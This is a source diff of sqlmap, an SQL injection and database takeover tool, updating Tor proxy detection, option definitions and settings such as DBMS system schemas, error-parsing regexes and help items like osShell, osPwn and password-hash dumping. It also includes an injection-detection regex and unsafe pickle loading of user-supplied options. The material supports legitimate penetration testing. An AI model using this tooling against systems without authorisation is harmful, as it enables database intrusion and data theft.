@@ -1855,6 +1901,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.dnsMode = False
     kb.dnsTest = None
     kb.docRoot = None
+    kb.dumpColumns = None
     kb.dumpTable = None
     kb.dumpKeyboardInterrupt = False
     kb.dynamicMarkings = []
@@ -1889,7 +1936,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.lastParserStatus = None
 
     kb.locks = AttribDict()
-    for _ in ("cache", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
+    for _ in ("cache", "connError", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
         kb.locks[_] = threading.Lock()
 
     kb.matchRatio = None
@@ -1938,9 +1985,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.responseTimeMode = None
     kb.responseTimePayload = None
     kb.resumeValues = True
+    kb.rowXmlMode = False
     kb.safeCharEncode = False
     kb.safeReq = AttribDict()
     kb.singleLogFlags = set()
+    kb.skipSeqMatcher = False
     kb.reduceTests = None
     kb.tlsSNI = {}
     kb.stickyDBMS = False
@@ -1958,7 +2007,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.threadContinue = True
     kb.threadException = False
     kb.tableExistsChoice = None
-    kb.timeValidCharsRun = 0
     kb.uChar = NULL
     kb.unionDuplicates = False
     kb.xpCmdshellAvailable = False
@@ -2178,11 +2226,13 @@ def _mergeOptions(inputOptions, overrideOptions):
 
     if inputOptions.pickledOptions:
         try:
-            inputOptions = base64unpickle(inputOptions.pickledOptions)
+            inputOptions = base64unpickle(inputOptions.pickledOptions, unsafe=True)
+            if type(inputOptions) == dict:
+                inputOptions = AttribDict(inputOptions)
             _normalizeOptions(inputOptions)
         except Exception, ex:
             errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
-            errMsg += " ('%s')" % ex if ex.message else ""
+            errMsg += " (%s)" % repr(ex)
             raise SqlmapSyntaxException(errMsg)
 
     if inputOptions.configFile:
@@ -2197,9 +2247,10 @@ def _mergeOptions(inputOptions, overrideOptions):
         if key not in conf or value not in (None, False) or overrideOptions:
             conf[key] = value
 
-    for key, value in conf.items():
-        if value is not None:
-            kb.explicitSettings.add(key)
+    if not hasattr(conf, "api"):
+        for key, value in conf.items():
+            if value is not None:
+                kb.explicitSettings.add(key)
 
     for key, value in defaults.items():
         if hasattr(conf, key) and conf[key] is None:
@@ -2231,7 +2282,7 @@ def _setTrafficOutputFP():
         conf.trafficFP = openFile(conf.trafficFile, "w+")
 
 def _setDNSServer():
-    if not conf.dnsName:
+    if not conf.dnsDomain:
         return
 
     infoMsg = "setting up DNS server instance"
@@ -2276,26 +2327,14 @@ def _setTorHttpProxySettings():
     infoMsg = "setting Tor HTTP proxy settings"
     logger.info(infoMsg)
 
-    found = None
+    port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,))
 
-    for port in (DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)):
-        try:
-            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            s.connect((LOCALHOST, port))
-            found = port
-            break
-        except socket.error:
-            pass
-
-    s.close()
-
-    if found:
-        conf.proxy = "http://%s:%d" % (LOCALHOST, found)
+    if port:
+        conf.proxy = "http://%s:%d" % (LOCALHOST, port)
     else:
-        errMsg = "can't establish connection with the Tor proxy. "
-        errMsg += "Please make sure that you have Vidalia, Privoxy or "
-        errMsg += "Polipo bundle installed for you to be able to "
-        errMsg += "successfully use switch '--tor' "
+        errMsg = "can't establish connection with the Tor HTTP proxy. "
+        errMsg += "Please make sure that you have Tor (bundle) installed and setup "
+        errMsg += "so you could be able to successfully use switch '--tor' "
 
         raise SqlmapConnectionException(errMsg)
 
@@ -2311,8 +2350,17 @@ def _setTorSocksProxySettings():
     infoMsg = "setting Tor SOCKS proxy settings"
     logger.info(infoMsg)
 
-    # Has to be SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
-    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, conf.torPort or DEFAULT_TOR_SOCKS_PORT)
+    port = findLocalPort(DEFAULT_TOR_SOCKS_PORTS if not conf.torPort else (conf.torPort,))
+
+    if not port:
+        errMsg = "can't establish connection with the Tor SOCKS proxy. "
+        errMsg += "Please make sure that you have Tor service installed and setup "
+        errMsg += "so you could be able to successfully use switch '--tor' "
+
+        raise SqlmapConnectionException(errMsg)
+
+    # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
+    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port)
     socks.wrapmodule(urllib2)
 
 def _checkWebSocket():
@@ -2374,6 +2422,10 @@ def _basicOptionValidation():
         errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.eta and conf.verbose > defaults.verbose:
+        errMsg = "switch '--eta' is incompatible with option '-v'"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.direct and conf.url:
         errMsg = "option '-d' is incompatible with option '-u' ('--url')"
         raise SqlmapSyntaxException(errMsg)
@@ -2587,6 +2639,7 @@ def init():
     _saveConfig()
     _setRequestFromFile()
     _cleanupOptions()
+    _cleanupEnvironment()
     _dirtyPatches()
     _purgeOutput()
     _checkDependencies()

lib/core/optiondict.py

@@ -38,10 +38,13 @@ optDict = {
                                "authType":          "string",
                                "authCred":          "string",
                                "authFile":          "string",
+                               "ignore401":         "boolean",
+                               "ignoreProxy":       "boolean",
+                               "ignoreRedirects":   "boolean",
+                               "ignoreTimeouts":    "boolean",
                                "proxy":             "string",
                                "proxyCred":         "string",
                                "proxyFile":         "string",
-                               "ignoreProxy":       "boolean",
                                "tor":               "boolean",
                                "torPort":           "integer",
                                "torType":           "string",
@@ -104,7 +107,7 @@ optDict = {
                                "uCols":             "string",
                                "uChar":             "string",
                                "uFrom":             "string",
-                               "dnsName":           "string",
+                               "dnsDomain":         "string",
                                "secondOrder":       "string",
                              },
 
@@ -234,7 +237,7 @@ optDict = {
                                "disablePrecon":     "boolean",
                                "profile":           "boolean",
                                "forceDns":          "boolean",
-                               "ignore401":         "boolean",
+                               "murphyRate":        "integer",
                                "smokeTest":         "boolean",
                                "liveTest":          "boolean",
                                "stopFail":          "boolean",

lib/core/profiling.py

@@ -75,6 +75,11 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
     # Create graph image (png) by using pydot (python-pydot)
     # http://code.google.com/p/pydot/
     pydotGraph = pydot.graph_from_dot_file(dotOutputFile)
+
+    # Reference: http://stackoverflow.com/questions/38176472/graph-write-pdfiris-pdf-attributeerror-list-object-has-no-attribute-writ
+    if isinstance(pydotGraph, list):
+        pydotGraph = pydotGraph[0]
+
     pydotGraph.write_png(imageOutputFile)
 
     infoMsg = "displaying interactive graph with xdot library"

lib/core/replication.py

@@ -10,6 +10,7 @@ import sqlite3
 from extra.safe2bin.safe2bin import safechardecode
 from lib.core.common import getSafeExString
 from lib.core.common import unsafeSQLIdentificatorNaming
+from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import UNICODE_ENCODING
@@ -21,10 +22,15 @@ class Replication(object):
     """
 
     def __init__(self, dbpath):
-        self.dbpath = dbpath
-        self.connection = sqlite3.connect(dbpath)
-        self.connection.isolation_level = None
-        self.cursor = self.connection.cursor()
+        try:
+            self.dbpath = dbpath
+            self.connection = sqlite3.connect(dbpath)
+            self.connection.isolation_level = None
+            self.cursor = self.connection.cursor()
+        except sqlite3.OperationalError, ex:
+            errMsg = "error occurred while opening a replication "
+            errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
+            raise SqlmapConnectionException(errMsg)
 
     class DataType:
         """

lib/core/session.py

@@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
 
 import re
 
-from lib.core.common import aliasToDbmsEnum
 from lib.core.common import Backend
 from lib.core.common import Format
 from lib.core.common import hashDBWrite

lib/core/settings.py

@@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission
 """
 
 import os
+import random
 import re
 import subprocess
 import string
@@ -16,13 +17,12 @@ from lib.core.datatype import AttribDict
 from lib.core.enums import DBMS
 from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS
-from lib.core.revision import getRevisionNumber
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.0.6.0"
-REVISION = getRevisionNumber()
-STABLE = VERSION.count('.') <= 2
-VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")
+VERSION = "1.0.12.0"
+TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
+TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
+VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
 DESCRIPTION = "automatic SQL injection and database takeover tool"
 SITE = "http://sqlmap.org"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
@@ -30,21 +30,23 @@ GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
 GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
 
 # colorful banner
-BANNER = """\033[01;33m         _
- ___ ___| |_____ ___ ___  \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
-|_ -| . | |     | .'| . |
-|___|_  |_|_|_|_|__,|  _|
-      |_|           |_|   \033[0m\033[4;37m%s\033[0m\n
-""" % ((31 + hash(VERSION) % 6) if not STABLE else 30, VERSION_STRING.split('/')[-1], SITE)
+BANNER = """\033[01;33m\
+        ___
+       __H__
+ ___ ___[.]_____ ___ ___  \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
+|_ -| . [.]     | .'| . |
+|___|_  [.]_|_|_|__,|  _|
+      |_|V          |_|   \033[0m\033[4;37m%s\033[0m\n
+""" % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE)
 
 # Minimum distance of ratio from kb.matchRatio to result in True
 DIFF_TOLERANCE = 0.05
 CONSTANT_RATIO = 0.9
 
-# Ratio used in heuristic check for WAF/IDS/IPS protected targets
+# Ratio used in heuristic check for WAF/IPS/IDS protected targets
 IDS_WAF_CHECK_RATIO = 0.5
 
-# Timeout used in heuristic check for WAF/IDS/IPS protected targets
+# Timeout used in heuristic check for WAF/IPS/IDS protected targets
 IDS_WAF_CHECK_TIMEOUT = 10
 
 # Lower and upper values for match ratio in case of stable page
@@ -64,13 +66,14 @@ BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
 
 RANDOM_INTEGER_MARKER = "[RANDINT]"
 RANDOM_STRING_MARKER = "[RANDSTR]"
+SLEEP_TIME_MARKER = "[SLEEPTIME]"
 
 PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
 PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"
 
 # Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
-SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>[\w.]+)\b"
+SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>([\w.]|`[^`<>]+`)+)"
 
 # Regular expression used for recognition of textual content-type
 TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
@@ -81,6 +84,15 @@ PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
 # Regular expression used for recognition of generic maximum connection messages
 MAX_CONNECTIONS_REGEX = r"max.+connections"
 
+# Maximum consecutive connection errors before asking the user if he wants to continue
+MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
+
+# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
+PRECONNECT_CANDIDATE_TIMEOUT = 10
+
+# Maximum sleep time in "Murphy" (testing) mode
+MAX_MURPHY_SLEEP_TIME = 3
+
 # Regular expression used for extracting results from Google search
 GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&amp;cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
 
@@ -91,7 +103,7 @@ DUCKDUCKGO_REGEX = r'"u":"([^"]+)'
 DISCONNECT_SEARCH_REGEX = r'<p class="url wrapword">([^<]+)</p>'
 
 # Dummy user agent for search (if default one returns different results)
-DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0"
+DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"
 
 # Regular expression used for extracting content from "textual" tags
 TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
@@ -125,7 +137,7 @@ UNION_STDEV_COEFF = 7
 TIME_DELAY_CANDIDATES = 3
 
 # Default value for HTTP Accept header
-HTTP_ACCEPT_HEADER_VALUE = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
+HTTP_ACCEPT_HEADER_VALUE = "*/*"
 
 # Default value for HTTP Accept-Encoding header
 HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate"
@@ -196,26 +208,20 @@ PYVERSION = sys.version.split()[0]
 
 # DBMS system databases
 MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
-MYSQL_SYSTEM_DBS = ("information_schema", "mysql")                   # Before MySQL 5.0 only "mysql"
-PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast")
-ORACLE_SYSTEM_DBS = ("CTXSYS", "DBSNMP", "DMSYS", "EXFSYS", "MDSYS", "OLAPSYS", "ORDSYS", "OUTLN", "SYS", "SYSAUX", "SYSMAN", "SYSTEM", "TSMSYS", "WMSYS", "XDB")                      # These are TABLESPACE_NAME
+MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
+PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
+ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL")  # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/ 
 SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
-ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\
-                        "MSysAccessXML", "MSysModules", "MSysModules2")
-FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\
-                        "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\
-                        "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES",\
-                        "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\
-                        "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\
-                        "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
+ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
+FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
 MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
-DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\
-                   "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
+DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
+INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
 
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
-MYSQL_ALIASES = ("mysql", "my")
+MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
 PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
 ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
 SQLITE_ALIASES = ("sqlite", "sqlite3")
@@ -225,10 +231,11 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
 SYBASE_ALIASES = ("sybase", "sybase sql server")
 DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
 HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
+INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
 
 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES
+SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
 SUPPORTED_OS = ("linux", "windows")
 
 DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
@@ -244,39 +251,39 @@ WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "C
 
 # Items displayed in basic help (-h) output
 BASIC_HELP_ITEMS = (
-                        "url",
-                        "googleDork",
-                        "data",
-                        "cookie",
-                        "randomAgent",
-                        "proxy",
-                        "testParameter",
-                        "dbms",
-                        "level",
-                        "risk",
-                        "tech",
-                        "getAll",
-                        "getBanner",
-                        "getCurrentUser",
-                        "getCurrentDb",
-                        "getPasswordHashes",
-                        "getTables",
-                        "getColumns",
-                        "getSchema",
-                        "dumpTable",
-                        "dumpAll",
-                        "db",
-                        "tbl",
-                        "col",
-                        "osShell",
-                        "osPwn",
-                        "batch",
-                        "checkTor",
-                        "flushSession",
-                        "tor",
-                        "sqlmapShell",
-                        "wizard",
-                   )
+    "url",
+    "googleDork",
+    "data",
+    "cookie",
+    "randomAgent",
+    "proxy",
+    "testParameter",
+    "dbms",
+    "level",
+    "risk",
+    "tech",
+    "getAll",
+    "getBanner",
+    "getCurrentUser",
+    "getCurrentDb",
+    "getPasswordHashes",
+    "getTables",
+    "getColumns",
+    "getSchema",
+    "dumpTable",
+    "dumpAll",
+    "db",
+    "tbl",
+    "col",
+    "osShell",
+    "osPwn",
+    "batch",
+    "checkTor",
+    "flushSession",
+    "tor",
+    "sqlmapShell",
+    "wizard",
+)
 
 # String representation for NULL value
 NULL = "NULL"
@@ -288,16 +295,17 @@ BLANK = "<blank>"
 CURRENT_DB = "CD"
 
 # Regular expressions used for finding file paths in error messages
-FILE_PATH_REGEXES = (r" in (file )?<b>(?P<result>.*?)</b> on line", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w.\\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
+FILE_PATH_REGEXES = (r" in (file )?<b>(?P<result>.*?)</b> on line \d+", r"in (?P<result>[^<>]+?) on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
 
 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
-                          r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
-                          r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
-                          r"<li>Error Type:<br>(?P<result>.+?)</li>",
-                          r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
-                          r"(?m)^\s*\[[^\n]+(ODBC|JDBC)[^\n]+\](?P<result>[^\]]+in query expression[^\n]+)$"
-                        )
+    r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
+    r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
+    r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
+    r"<li>Error Type:<br>(?P<result>.+?)</li>",
+    r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
+    r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)"
+)
 
 # Regular expression used for parsing charset info from meta html headers
 META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
@@ -335,6 +343,9 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
 # Regex used for masking sensitive data
 SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
 
+# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
+SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
+
 # Maximum number of threads (avoiding connection issues and/or DoS)
 MAX_NUMBER_OF_THREADS = 10
 
@@ -390,10 +401,10 @@ HASH_MOD_ITEM_DISPLAY = 11
 MAX_INT = sys.maxint
 
 # Options that need to be restored in multiple targets run mode
-RESTORE_MERGED_OPTIONS = ("col", "db", "dnsName", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
+RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
 
 # Parameters to be ignored in detection phase (upper case)
-IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
+IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
 
 # Regular expression used for recognition of ASP.NET control parameters
 ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"
@@ -422,10 +433,10 @@ IGNORE_SAVE_OPTIONS = ("saveConfig",)
 # IP address of the localhost
 LOCALHOST = "127.0.0.1"
 
-# Default port used by Tor
-DEFAULT_TOR_SOCKS_PORT = 9050
+# Default SOCKS ports used by Tor
+DEFAULT_TOR_SOCKS_PORTS = (9050, 9150)
 
-# Default ports used in Tor proxy bundles
+# Default HTTP ports used by Tor
 DEFAULT_TOR_HTTP_PORTS = (8123, 8118)
 
 # Percentage below which comparison engine could have problems
@@ -455,7 +466,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'"
 DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b"
 
 # Extensions skipped by crawler
-CRAWL_EXCLUDE_EXTENSIONS = ('3ds', '3g2', '3gp', '7z', 'DS_Store', 'a', 'aac', 'adp', 'ai', 'aif', 'aiff', 'apk', 'ar', 'asf', 'au', 'avi', 'bak', 'bin', 'bk', 'bmp', 'btif', 'bz2', 'cab', 'caf', 'cgm', 'cmx', 'cpio', 'cr2', 'dat', 'deb', 'djvu', 'dll', 'dmg', 'dmp', 'dng', 'doc', 'docx', 'dot', 'dotx', 'dra', 'dsk', 'dts', 'dtshd', 'dvb', 'dwg', 'dxf', 'ear', 'ecelp4800', 'ecelp7470', 'ecelp9600', 'egg', 'eol', 'eot', 'epub', 'exe', 'f4v', 'fbs', 'fh', 'fla', 'flac', 'fli', 'flv', 'fpx', 'fst', 'fvt', 'g3', 'gif', 'gz', 'h261', 'h263', 'h264', 'ico', 'ief', 'image', 'img', 'ipa', 'iso', 'jar', 'jpeg', 'jpg', 'jpgv', 'jpm', 'jxr', 'ktx', 'lvp', 'lz', 'lzma', 'lzo', 'm3u', 'm4a', 'm4v', 'mar', 'mdi', 'mid', 'mj2', 'mka', 'mkv', 'mmr', 'mng', 'mov', 'movie', 'mp3', 'mp4', 'mp4a', 'mpeg', 'mpg', 'mpga', 'mxu', 'nef', 'npx', 'o', 'oga', 'ogg', 'ogv', 'otf', 'pbm', 'pcx', 'pdf', 'pea', 'pgm', 'pic', 'png', 'pnm', 'ppm', 'pps', 'ppt', 'pptx', 'ps', 'psd', 'pya', 'pyc', 'pyo', 'pyv', 'qt', 'rar', 'ras', 'raw', 'rgb', 'rip', 'rlc', 'rz', 's3m', 's7z', 'scm', 'scpt', 'sgi', 'shar', 'sil', 'smv', 'so', 'sub', 'swf', 'tar', 'tbz2', 'tga', 'tgz', 'tif', 'tiff', 'tlz', 'ts', 'ttf', 'uvh', 'uvi', 'uvm', 'uvp', 'uvs', 'uvu', 'viv', 'vob', 'war', 'wav', 'wax', 'wbmp', 'wdp', 'weba', 'webm', 'webp', 'whl', 'wm', 'wma', 'wmv', 'wmx', 'woff', 'woff2', 'wvx', 'xbm', 'xif', 'xls', 'xlsx', 'xlt', 'xm', 'xpi', 'xpm', 'xwd', 'xz', 'z', 'zip', 'zipx')
